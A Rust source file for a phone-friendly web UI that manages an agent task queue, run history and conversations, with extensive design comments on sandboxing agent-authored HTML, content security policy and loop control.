Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, report, repos, run, talk, updater};
125
126/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
127pub const DEFAULT_PORT: u16 = 7878;
128
129/// How often the change stream restats the queue and the runs directory.
130const POLL: Duration = Duration::from_secs(1);
131
132/// Keep-alive interval for the change stream. Phones and intermediaries drop
133/// an idle connection within a minute; a comment every fifteen seconds keeps
134/// the stream alive without waking the radio often enough to matter.
135const KEEPALIVE: Duration = Duration::from_secs(15);
136
137/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
138///
139/// A fixed period this long would not track a `[update] interval` shorter
140/// than itself: an operator who set `interval = "1m"` to make the deck
141/// notice a release within a minute would still wait up to fifteen of them
142/// for the next wake-up to even ask [`updater::Checker::should_check`].
143/// [`recheck_poll_period`] scales the sleep with the configured interval
144/// instead, and this is only its ceiling - reached at the default interval
145/// of a day, where waking any more often would just spend cycles asking a
146/// question that stays "no" for hours.
147const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149/// Floor on the same, so a very short `[update] interval` cannot spin
150/// [`run_update_recheck`] in a near-busy loop.
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153/// Runs returned when the client does not ask, and the ceiling if it asks for
154/// more. The cap exists because the list handler parses every `run.json` it
155/// returns, and a phone cannot render two thousand rows anyway.
156const LIST_DEFAULT: usize = 50;
157/// Upper bound for `?limit=`.
158const LIST_MAX: usize = 500;
159
160/// Width of a generated task title, matching what the CLI uses.
161const TITLE_MAX: usize = 72;
162
163/// Per-file cap for an attachment upload.
164///
165/// Enforced twice: axum's own body limit is raised one byte above this, only
166/// on the two attachment `POST` routes (see the router - every other route
167/// keeps the crate-wide default), so an oversize body is still read far
168/// enough to answer with our own message below rather than axum's generic
169/// one; this constant is what that message and the boundary check actually
170/// compare against.
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173/// The image types an attachment upload accepts - a closed whitelist, the
174/// same posture [`asset_content_type`] takes for panel assets and for the
175/// same reason: SVG is excluded on purpose because it is active content
176/// (it may carry `<script>`) and not merely a picture, so it never appears
177/// here even though `image/svg+xml` is a real IANA type.
178const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180/// Header carrying the operator's own filename. Free text, stored only for
181/// display - see [`talk::Attachment::name`]'s doc on why it never
182/// contributes to a path.
183const FILENAME_HEADER: &str = "x-filename";
184
185/// The header that makes serving agent-authored HTML defensible, sent by both
186/// panel routes and asserted verbatim by a test.
187///
188/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
189/// denies every fetch destination that is not re-allowed below, which is all of
190/// them except images and fonts; `img-src 'self' data:` means an image comes
191/// from magi's own asset route or from the document itself, so a panel cannot
192/// signal an outside server by pointing an `<img>` at it - the classic
193/// exfiltration channel for markup that cannot run script. `style-src
194/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
195/// free formatting means here and a style sheet cannot make a request that
196/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
197/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
198/// stops a form posting the owner's decision to a third party, and
199/// `frame-ancestors 'self'` stops another site framing the panel to phish with
200/// it.
201///
202/// There is deliberately no `script-src`: `default-src 'none'` already covers
203/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
204/// denied twice over. Weakening any directive here is the difference between a
205/// panel the owner reads and a page that can talk to the tailnet, which is why
206/// the test compares the whole string rather than looking for a substring.
207const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208                         font-src data:; base-uri 'none'; form-action 'none'; \
209                         frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215/// Which address to listen on.
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218    /// Ask Tailscale, and fall back to loopback with a warning.
219    Auto,
220    /// An address the operator named.
221    Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225    type Err = String;
226
227    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
228    /// the CLI can take `--bind` straight into it: the one spelling of
229    /// `auto` that matters is the one this function knows.
230    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231        if s.eq_ignore_ascii_case("auto") {
232            return Ok(Self::Auto);
233        }
234        s.parse()
235            .map(Self::Addr)
236            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237    }
238}
239
240impl std::fmt::Display for Bind {
241    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242        match self {
243            Self::Auto => f.write_str("auto"),
244            Self::Addr(addr) => write!(f, "{addr}"),
245        }
246    }
247}
248
249/// How to serve.
250#[derive(Debug, Clone)]
251pub struct Opts {
252    /// Address to listen on.
253    pub bind: Bind,
254    /// Port to listen on.
255    pub port: u16,
256    /// Repository used for tasks posted without one.
257    pub repo: PathBuf,
258    /// Print the URL on its own line for a caller that wants to hand it to a
259    /// browser. magi never launches one itself.
260    pub open: bool,
261    /// Merge mode override for the loop this process runs (`none`, `local`,
262    /// `pr`); `None` leaves it to each repository's own config.
263    ///
264    /// The same override `magi serve --merge` takes, and here for the same
265    /// reason: `magi web` is now the thing that runs the loop, so an operator
266    /// who wants this session's runs to open pull requests has to be able to
267    /// say so without going back to the command they no longer type.
268    pub merge: Option<String>,
269}
270
271impl Default for Opts {
272    fn default() -> Self {
273        Self {
274            bind: Bind::Auto,
275            port: DEFAULT_PORT,
276            repo: PathBuf::from("."),
277            open: false,
278            merge: None,
279        }
280    }
281}
282
283/// Everything the handlers touch.
284///
285/// The queue, the runs directory and the magi home are fields rather than
286/// process-global lookups so a test drives the real router against a temp
287/// directory instead of the operator's own history.
288#[derive(Debug, Clone)]
289pub struct Ui {
290    queue: Queue,
291    questions: Questions,
292    talks: Talks,
293    runs: PathBuf,
294    home: PathBuf,
295    repo: PathBuf,
296    /// Where the runs' worktrees live, for the health disk figures.
297    ///
298    /// Spelled independently of [`crate::run::default_worktree_root`] so the
299    /// test servers can point it at their own temp directory: the health route
300    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
301    /// be measuring the machine instead of the server.
302    worktrees_root: PathBuf,
303    /// Talks with an agent turn in flight right now.
304    ///
305    /// In-process and therefore not durable, which is correct: it guards
306    /// against two taps on one phone and two phones on one tailnet, both of
307    /// which are this process's own concurrency. A second `magi web` would not
308    /// see it, and a second `magi web` on the same home is already a
309    /// misconfiguration the queue's claims would catch first.
310    talk_turns: Arc<Mutex<TalkTurns>>,
311    /// Runs this process is resuming right now.
312    ///
313    /// Separate from `talk_turns` because a run and a talk are different
314    /// things to hold, and a resume is far more expensive to start twice: it
315    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
316    /// guards two taps and two phones, which is this process's own
317    /// concurrency.
318    resuming: Arc<Mutex<HashSet<String>>>,
319    /// The last scan of `[repos] roots`, and when it happened. Shared across
320    /// requests so polling `GET /api/repos` repeatedly does not repeat the
321    /// filesystem walk every time - see [`repos::Cache`].
322    repos_cache: repos::Cache,
323    /// Merge mode override handed to the loop this process starts.
324    merge: Option<String>,
325    /// The loop this process is running, if it is running one.
326    looping: Arc<Mutex<LoopState>>,
327    /// How a loop is actually started.
328    ///
329    /// A field rather than a direct call to [`daemon::serve_until`], because
330    /// the real loop resolves its queue and its status file through the
331    /// process-global magi home and claims whatever it finds there. A test
332    /// that started it would reach straight past its own temp directory into
333    /// the operator's live queue, overwrite the status file of the `magi
334    /// serve` that owns it, and spend real agent quota on a real competition.
335    /// What the routes have to get right is the bookkeeping, so the tests
336    /// drive the routes against a loop that only starts and stops; production
337    /// is [`launch_daemon`] and nothing reassigns it.
338    launch: Launch,
339}
340
341impl Ui {
342    /// A server over explicit paths.
343    pub fn new(
344        queue: Queue,
345        questions: Questions,
346        talks: Talks,
347        runs: PathBuf,
348        home: PathBuf,
349        repo: PathBuf,
350    ) -> Self {
351        Self {
352            queue,
353            questions,
354            talks,
355            runs,
356            home,
357            repo,
358            // The default location, overridden by `with_worktrees_root` - a
359            // builder step rather than a ninth parameter, for the reason
360            // `with_merge` gives.
361            worktrees_root: run::default_worktree_root(),
362            talk_turns: Arc::default(),
363            resuming: Arc::default(),
364            repos_cache: repos::Cache::new(),
365            merge: None,
366            looping: Arc::default(),
367            launch: launch_daemon,
368        }
369    }
370
371    /// The operator's own state: `<home>/queue`, `<home>/questions`,
372    /// `<home>/talks`, `<home>/runs`.
373    pub fn open(repo: PathBuf) -> Self {
374        Self::new(
375            Queue::open(),
376            Questions::open(),
377            Talks::open(),
378            run::runs_root(),
379            run::home(),
380            repo,
381        )
382    }
383
384    /// The merge mode the loop should use, as the command line gave it.
385    ///
386    /// A builder step rather than a seventh parameter on [`Ui::new`], because
387    /// the override is a property of how this process was invoked and not of
388    /// where its state lives - which is all the tests that build a `Ui` by
389    /// hand are saying.
390    #[must_use]
391    pub fn with_merge(mut self, merge: Option<String>) -> Self {
392        self.merge = merge;
393        self
394    }
395
396    /// Where the runs' worktrees live, when it is not the default.
397    ///
398    /// The health view sizes this directory, so a test that leaves it at the
399    /// default would be measuring the operator's own machine.
400    #[must_use]
401    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
402        self.worktrees_root = root;
403        self
404    }
405
406    /// Point the loop at something other than [`launch_daemon`].
407    ///
408    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
409    /// this crate may start the real loop.
410    #[cfg(test)]
411    #[must_use]
412    fn with_launch(mut self, launch: Launch) -> Self {
413        self.launch = launch;
414        self
415    }
416
417    /// The loop's state, for [`serve`]'s own way out.
418    fn looping(&self) -> Arc<Mutex<LoopState>> {
419        Arc::clone(&self.looping)
420    }
421
422    /// Start the loop in this process, or say who already has one.
423    ///
424    /// `foreign` is passed in rather than read here so that one request makes
425    /// one judgement about who owns the loop: reading the status file again
426    /// inside this function could refuse a start for a daemon the same
427    /// response then reports as gone.
428    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
429        if let Some(other) = foreign {
430            return Err(ApiError::conflict(format!(
431                "{} is already running the loop, so this one will not start a \
432                 second: two loops on one queue race for the same claims and \
433                 burn the agent quota twice over. Stop it where it was \
434                 started.",
435                other.who()
436            )));
437        }
438        let mut state = self.lock_loop();
439        if state.live.as_ref().is_some_and(Live::alive) {
440            return Err(ApiError::conflict(format!(
441                "this magi web process (pid {}) is already running the loop",
442                std::process::id()
443            )));
444        }
445
446        let stop = daemon::Stop::new();
447        // The CLI's own defaults for everything the UI has no opinion about:
448        // one poll interval and one retry budget, so a loop started from a
449        // phone behaves exactly like the `magi serve` it replaces.
450        let opts = daemon::Opts {
451            repo: self.repo.clone(),
452            merge: self.merge.clone(),
453            // Whatever this `Ui` already reports worktree sizes and folds
454            // against (see `with_worktrees_root`) is what the loop it starts
455            // must reclaim orphaned worktrees under too - two different
456            // opinions about where the worktree bay is would leave the
457            // janitor pass reclaiming a directory nothing else on this
458            // process is even looking at.
459            worktrees_root: Some(self.worktrees_root.clone()),
460            ..daemon::Opts::default()
461        };
462        let launch = self.launch;
463        let looping = Arc::clone(&self.looping);
464        let handle = tokio::spawn({
465            let opts = opts.clone();
466            let stop = stop.clone();
467            async move {
468                let failure = match launch(opts, stop).await {
469                    Ok(()) => None,
470                    Err(e) => Some(format!("{e:#}")),
471                };
472                match &failure {
473                    Some(why) => tracing::error!("the loop stopped: {why}"),
474                    None => tracing::info!("the loop stopped"),
475                }
476                // Recorded by the task itself rather than reaped by whichever
477                // request happens next, so `loop_rev` moves the moment the
478                // loop ends and a phone with the change stream open learns
479                // that it did. Clearing `live` drops this task's own handle,
480                // which only detaches it, and is the last thing it does.
481                let mut state = lock_or_recover(&looping);
482                state.live = None;
483                state.last_error = failure;
484                state.rev += 1;
485            }
486        });
487        tracing::info!(
488            "the loop is now running in this process: repo {}, merge {}",
489            opts.repo.display(),
490            opts.merge.as_deref().unwrap_or("as the config says")
491        );
492        state.live = Some(Live { stop, handle, opts });
493        // A fresh start is not the place to keep showing why the last one
494        // died; the operator has read it and pressed the button anyway.
495        state.last_error = None;
496        state.rev += 1;
497        Ok(())
498    }
499
500    /// Ask the loop to stop, without waiting for it to get there.
501    ///
502    /// Idempotent: a second tap on stop is not an error, because the first one
503    /// leaves the loop running for as long as the run in flight takes and the
504    /// operator has no way to tell a slow stop from a lost one.
505    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
506        if let Some(other) = foreign {
507            return Err(ApiError::conflict(format!(
508                "the loop belongs to {}, and this process cannot stop it - \
509                 stop it where it was started. A button that silently did \
510                 nothing would be worse than this refusal.",
511                other.who()
512            )));
513        }
514        let mut state = self.lock_loop();
515        let Some(live) = state.live.as_ref() else {
516            return Ok(());
517        };
518        // A park upgrades a stop that has already been asked for: the
519        // operator who tapped "stop" and then realised the run has an hour
520        // left must not have to restart the loop to change their mind.
521        if live.stop.stopped() && (!park || live.stop.parking()) {
522            return Ok(());
523        }
524        if park {
525            live.stop.park();
526            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
527        } else {
528            live.stop.stop();
529            tracing::info!("the loop was asked to stop; a run in flight is finished first");
530        }
531        state.rev += 1;
532        Ok(())
533    }
534
535    /// The loop as both `/api/loop` and `/api/health` report it.
536    ///
537    /// `reading` is the caller's single read of `<home>/daemon.json`, because
538    /// health answers with this view *and* the daemon object beside it: one
539    /// read per response is what stops a single answer naming a foreign owner
540    /// in one field and calling the loop free in the other.
541    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
542        let state = self.lock_loop();
543        // A loop that panicked never recorded its own end, so the handle -
544        // not the presence of the record - is what "running" means.
545        let live = state.live.as_ref().filter(|live| live.alive());
546        LoopView {
547            running: live.is_some(),
548            stopping: live.is_some_and(|live| live.stop.finishing()),
549            parking: live.is_some_and(|live| live.stop.parking()),
550            owned: live.is_some(),
551            repo: live
552                .map_or(&self.repo, |live| &live.opts.repo)
553                .display()
554                .to_string(),
555            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
556            last_error: state.last_error.clone(),
557            daemon: DaemonView::of(reading),
558        }
559    }
560
561    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
562    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
563        lock_or_recover(&self.looping)
564    }
565
566    /// Whether this process currently owns the agent turn for `id`.
567    ///
568    /// This deliberately describes only the in-memory claim made by
569    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
570    /// never persisted with a [`Talk`].
571    fn is_thinking(&self, id: &str) -> bool {
572        self.talk_turns
573            .lock()
574            .is_ok_and(|turns| turns.live.contains(id))
575    }
576
577    /// Claim the right to run one turn in a talk, or report that it is busy.
578    ///
579    /// A talk is strictly turn-based: the agent is resumed with the
580    /// conversation it already has, so two turns running at once would resume
581    /// the same session twice and append their answers in whatever order the
582    /// two CLIs finished in. The operator would come back to a transcript
583    /// with two half-turns interleaved, which is unreadable and, worse,
584    /// unfixable - there is no undo for a persisted turn.
585    ///
586    /// A busy result is queued as a durable draft by [`talk_say`], rather than
587    /// starting a second CLI invocation for the same session.
588    ///
589    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
590    /// taken to test-and-insert and released before the agent is spawned. The
591    /// returned guard removes the id on drop, which is what makes a panicking
592    /// handler or a phone that walks out of range leave the talk usable - axum
593    /// drops the handler future when the client disconnects, and without the
594    /// guard that talk would be wedged until the server restarted.
595    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
596        self.claim_talk_turn(id, false)
597    }
598
599    /// Claim a turn after durably queueing a draft, or notify its current
600    /// owner that a drainer must recheck before it releases the slot.
601    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
602        self.claim_talk_turn(id, true)
603    }
604
605    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
606        let mut live = self
607            .talk_turns
608            .lock()
609            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
610        if !live.live.insert(id.to_owned()) {
611            if queued {
612                // A queued write has landed before this busy check.
613                // `drain_loop` uses this generation to recheck after its
614                // off-thread disk read, so it cannot release a turn between
615                // this check and the write.
616                *live.queued.entry(id.to_owned()).or_default() += 1;
617            }
618            return Ok(None);
619        }
620        Ok(Some(TalkTurnGuard {
621            talk: id.to_owned(),
622            turns: Arc::clone(&self.talk_turns),
623            released: false,
624        }))
625    }
626
627    /// Decide whether a free talk may start a new immediate turn while its
628    /// claim lock is held. A persisted draft without an owner is recovery
629    /// state, not a busy turn: two simultaneous `/say` requests must both
630    /// leave it untouched rather than one of them appending to it.
631    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
632        let mut live = self
633            .talk_turns
634            .lock()
635            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
636        if live.live.contains(id) {
637            return Ok(TalkTurnStart::Busy);
638        }
639        let talk = self.talks.get(id).map_err(ApiError::from)?;
640        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
641            return Ok(TalkTurnStart::Pending);
642        }
643        live.live.insert(id.to_owned());
644        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
645            talk: id.to_owned(),
646            turns: Arc::clone(&self.talk_turns),
647            released: false,
648        }))
649    }
650
651    /// Park the loop for an upgrade, and report the run that is parking.
652    ///
653    /// A park rather than a stop: a stop waits out the whole competition, and
654    /// not waiting is the point of upgrading from a phone. `None` means
655    /// nothing was in flight, which is worth saying so the operator is not
656    /// told a run is parking when none is.
657    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
658        let parking = {
659            let mut state = self.lock_loop();
660            let Some(live) = state.live.as_ref() else {
661                return Ok(None);
662            };
663            let busy = live.stop.busy_now();
664            live.stop.park();
665            state.rev += 1;
666            busy
667        };
668        Ok(if parking {
669            // More than one run can be in flight now (see
670            // `Config::daemon.max_concurrent_runs`); this answer names one of
671            // them so the operator sees a park actually happened, not every
672            // run a park now asks to stop at its next boundary.
673            daemon::current_work(&self.home, jiff::Timestamp::now())
674                .into_iter()
675                .next()
676                .map(|c| c.run)
677        } else {
678            None
679        })
680    }
681
682    /// Claim a run for a resume, on the same reasoning as
683    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
684    /// disconnected phone does not wedge the run until the server restarts.
685    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
686        let mut live = self
687            .resuming
688            .lock()
689            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
690        if !live.insert(id.to_owned()) {
691            return Err(ApiError::conflict(format!(
692                "run {id} is already being resumed"
693            )));
694        }
695        Ok(ResumeGuard {
696            run: id.to_owned(),
697            resuming: Arc::clone(&self.resuming),
698        })
699    }
700
701    /// The router, with this state baked in.
702    ///
703    /// The three front-end files get one explicit route each rather than a
704    /// path parameter, so there is no traversal surface to get wrong: the set
705    /// of servable paths is the set written here. The asset route below is the
706    /// one exception and the only place in this server where a client names a
707    /// file; it is why [`valid_asset_name`] is checked before a path is built.
708    pub fn router(self) -> Router {
709        Router::new()
710            .route("/", get(index))
711            .route("/app.css", get(app_css))
712            .route("/app.js", get(app_js))
713            .route("/api/health", get(health))
714            .route("/api/loop", get(loop_get).post(loop_post))
715            .route("/api/upgrade", post(upgrade_post))
716            .route("/api/runs", get(runs_list))
717            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
718            .route("/api/runs/{id}/report", get(run_report))
719            .route("/api/runs/{id}/fold", post(run_fold))
720            .route("/api/runs/{id}/resume", post(run_resume))
721            .route("/api/queue", get(queue_list))
722            .route("/api/queue/{id}", delete(queue_delete))
723            .route("/api/repos", get(repos_list))
724            .route("/api/queue/{id}/hold", post(queue_hold))
725            .route("/api/queue/{id}/release", post(queue_release))
726            .route("/api/queue/{id}/priority", post(queue_priority))
727            .route("/api/queue/{id}/edit", post(queue_edit))
728            .route("/api/queue/{id}/done", post(queue_done))
729            .route("/api/questions", get(questions_list))
730            .route("/api/questions/{id}/answer", post(question_answer))
731            .route("/api/questions/{id}/say", post(question_say))
732            .route("/api/questions/{id}/panel", get(question_panel))
733            // The same asset, reachable from inside the panel by its bare
734            // filename. A document served at `.../panel` resolves `shot.png`
735            // to `.../shot.png`, which is not the asset route, so a panel
736            // written the way its author was told to write it showed broken
737            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
738            // it - deliberately - so the fix is that the panel's own URL ends
739            // in a filename and its siblings are the assets.
740            .route("/api/questions/{id}/panel/index.html", get(question_panel))
741            .route("/api/questions/{id}/panel/{name}", get(question_asset))
742            .route("/api/questions/{id}/asset/{name}", get(question_asset))
743            .route("/api/talks", get(talks_list).post(talk_post))
744            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
745            .route("/api/talks/{id}/say", post(talk_say))
746            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
747            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
748            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
749            .route("/api/talks/{id}/close", post(talk_close))
750            .route("/api/talks/{id}/reopen", post(talk_reopen))
751            // `DefaultBodyLimit` is raised only on this one route - every
752            // other route on this server answers in a few kilobytes, and
753            // widening the crate-wide default for all of them just because
754            // one accepts a picture would let any other handler be handed
755            // a multi-megabyte body it never expects.
756            .route(
757                "/api/talks/{id}/attachments",
758                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
759            )
760            .route(
761                "/api/talks/{id}/attachments/{att}",
762                get(talk_attachment_get),
763            )
764            .route("/api/events", get(events))
765            .with_state(Arc::new(self))
766    }
767}
768
769/// One talk's turn slot, released on drop.
770///
771/// A guard rather than a matching `remove` at the end of the handler, because
772/// the handler has several early returns and one `await` that can be cancelled
773/// out from under it. A leaked id is a talk nobody can talk to again.
774#[derive(Debug)]
775struct TalkTurnGuard {
776    talk: String,
777    turns: Arc<Mutex<TalkTurns>>,
778    released: bool,
779}
780
781/// In-memory turn ownership plus the queue generation observed by a drainer.
782///
783/// The generation changes only after a durable queued draft is written and its
784/// caller finds the turn busy. That lets the loop run filesystem work outside
785/// this mutex while still making the final empty-check/release atomic with a
786/// concurrent queue handoff.
787#[derive(Debug, Default)]
788struct TalkTurns {
789    live: HashSet<String>,
790    queued: HashMap<String, u64>,
791}
792
793/// The atomic initial-state decision made by
794/// [`Ui::begin_talk_turn_unless_pending`].
795enum TalkTurnStart {
796    Claimed(TalkTurnGuard),
797    Busy,
798    Pending,
799}
800
801impl TalkTurnGuard {
802    /// Release while the caller already holds the claim mutex, closing the
803    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
804    fn release(mut self, live: &mut TalkTurns) {
805        live.live.remove(&self.talk);
806        live.queued.remove(&self.talk);
807        self.released = true;
808    }
809}
810
811impl Drop for TalkTurnGuard {
812    fn drop(&mut self) {
813        if self.released {
814            return;
815        }
816        if let Ok(mut live) = self.turns.lock() {
817            live.live.remove(&self.talk);
818            live.queued.remove(&self.talk);
819        }
820    }
821}
822
823/// Releases a resume claim, so a run is resumable again after the attempt.
824struct ResumeGuard {
825    run: String,
826    resuming: Arc<Mutex<HashSet<String>>>,
827}
828
829impl Drop for ResumeGuard {
830    fn drop(&mut self) {
831        if let Ok(mut live) = self.resuming.lock() {
832            live.remove(&self.run);
833        }
834    }
835}
836
837/// Bind the port, waiting briefly for a predecessor to let go of it.
838///
839/// A restart hands the address from one process to the next, and the old one
840/// holds its listener until it unwinds. A single `bind` can lose that race,
841/// and for a restart triggered from a phone that means the deck never comes
842/// back with no terminal around to say why.
843///
844/// Bounded, and only for the one error a wait can fix: anything else fails at
845/// once, because retrying it would turn a clear message into a silence.
846async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
847    const WINDOW: Duration = Duration::from_secs(10);
848    const GAP: Duration = Duration::from_millis(250);
849
850    let deadline = std::time::Instant::now() + WINDOW;
851    let mut said = false;
852    loop {
853        match tokio::net::TcpListener::bind(socket).await {
854            Ok(listener) => return Ok(listener),
855            Err(e)
856                if e.kind() == std::io::ErrorKind::AddrInUse
857                    && std::time::Instant::now() < deadline =>
858            {
859                if !said {
860                    said = true;
861                    tracing::info!(
862                        "{socket} is still held - waiting up to {}s for it, \
863                         which is what a restart looks like from here",
864                        WINDOW.as_secs()
865                    );
866                }
867                tokio::time::sleep(GAP).await;
868            }
869            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
870        }
871    }
872}
873
874/// Signalled when an upgrade has replaced the binary and the successor should
875/// take this address over. One per process: there is one address to hand on.
876static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
877
878/// Start this binary again with the same arguments, detached.
879///
